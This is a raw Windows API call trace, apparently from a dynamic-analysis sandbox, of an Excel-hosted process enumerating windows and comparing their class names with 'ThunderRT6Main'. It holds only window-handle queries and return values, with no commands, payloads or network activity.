GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0284.641] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0284.641] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0284.641] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.641] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.641] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.641] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0284.641] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0284.641] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0284.641] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0284.641] GetClassNameA (in: hWnd=0x10200, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.641] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.641] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.641] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0284.641] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0284.641] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0284.641] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0284.641] GetClassNameA (in: hWnd=0x10202, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.641] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.641] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.641] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0284.641] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0284.641] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0284.641] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0284.641] GetClassNameA (in: hWnd=0x10204, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.641] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.641] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.641] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0284.642] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0284.642] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0284.642] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x16021e [0284.642] GetClassNameA (in: hWnd=0x16021e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0284.642] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0284.642] GetWindowThreadProcessId (in: hWnd=0x16021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbb4 [0284.642] GetWindow (hWnd=0x16021e, uCmd=0x2) returned 0x40254 [0284.642] GetClassNameA (in: hWnd=0x40254, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0284.642] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0284.642] GetWindowThreadProcessId (in: hWnd=0x40254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5dc [0284.642] GetWindow (hWnd=0x40254, uCmd=0x2) returned 0x110288 [0284.642] GetClassNameA (in: hWnd=0x110288, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.642] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.642] GetWindowThreadProcessId (in: hWnd=0x110288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5dc [0284.642] GetWindow (hWnd=0x110288, uCmd=0x2) returned 0x202b0 [0284.642] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0284.642] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0284.642] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.642] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056 [0284.642] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0284.642] IsWindowEnabled (hWnd=0x202b0) returned 0 [0284.642] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0284.642] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0284.642] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0284.642] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0284.642] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0284.642] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0284.642] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.642] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0284.642] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0284.642] GetClassNameA (in: hWnd=0x10296, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.642] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.642] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0284.642] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0284.642] GetClassNameA (in: hWnd=0x20232, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0284.642] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0284.642] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.642] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0284.642] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0284.642] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0284.642] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0284.642] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0284.643] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0284.643] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.643] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0284.643] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0284.643] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0284.643] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0284.643] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.643] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.643] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.643] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0284.643] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0284.643] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0284.643] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0284.643] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.643] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.643] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.643] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0284.643] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0284.643] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0284.643] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0284.643] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.643] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.643] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.643] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0284.643] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0284.643] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0284.643] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0284.643] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.643] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.643] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.643] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0284.643] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0284.643] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0284.643] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0284.643] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0284.643] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0284.643] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.643] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0284.643] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0284.643] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0284.643] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0284.643] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0284.643] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0284.643] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0284.643] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0284.643] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0284.643] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0284.644] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.644] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0284.644] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0284.644] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0284.644] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x20208 [0284.644] GetClassNameA (in: hWnd=0x20208, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0284.644] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0284.644] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.644] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0284.644] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0284.644] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0284.644] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0284.644] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0284.644] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0284.644] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.644] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0284.644] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0284.644] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0284.644] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0284.644] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.644] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0284.644] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0284.644] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0284.644] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0284.644] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0284.644] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0284.644] GetClassNameA (in: hWnd=0x10190, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.644] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.644] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0284.644] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0284.644] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0284.644] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0284.644] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0284.644] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0284.644] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.644] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.644] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0284.644] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0284.644] GetClassNameA (in: hWnd=0x10186, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Household") returned 9 [0284.644] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0284.654] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0284.654] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0284.654] GetClassNameA (in: hWnd=0x10188, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.654] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.654] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0284.654] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0284.654] GetClassNameA (in: hWnd=0x10182, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0284.654] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0284.655] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0284.655] GetClassNameA (in: hWnd=0x10184, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0284.655] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0284.655] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0284.655] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0284.655] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0284.655] GetClassNameA (in: hWnd=0x10180, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0284.655] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0284.655] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0284.655] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0284.655] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0284.655] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0284.655] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0284.655] GetClassNameA (in: hWnd=0x10176, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0284.655] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0284.655] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0284.655] GetClassNameA (in: hWnd=0x10178, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0284.655] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0284.655] GetClassNameA (in: hWnd=0x10172, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0284.655] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0284.655] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0284.655] GetClassNameA (in: hWnd=0x10174, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.655] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.655] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0284.655] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0284.655] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0284.655] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0284.656] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0284.656] GetClassNameA (in: hWnd=0x10170, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0284.656] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0284.656] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0284.656] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0284.656] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0284.656] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0284.656] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0284.656] GetClassNameA (in: hWnd=0x10164, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0284.656] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0284.656] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0284.656] GetClassNameA (in: hWnd=0x10166, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0284.656] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0284.656] GetClassNameA (in: hWnd=0x10160, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0284.656] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0284.656] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0284.656] GetClassNameA (in: hWnd=0x10162, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0284.656] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0284.656] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0284.656] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0284.656] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0284.656] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.656] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.656] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0284.656] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0284.656] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0284.656] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0284.657] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0284.657] GetClassNameA (in: hWnd=0x20158, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0284.657] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0284.657] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0284.657] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0284.657] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0284.657] GetClassNameA (in: hWnd=0x10156, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0284.657] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0284.657] GetClassNameA (in: hWnd=0x20116, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0284.657] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0284.657] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0284.657] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0284.657] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.657] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0284.657] GetClassNameA (in: hWnd=0x10148, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0284.657] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0284.657] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0284.657] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0284.657] lstrcmpA 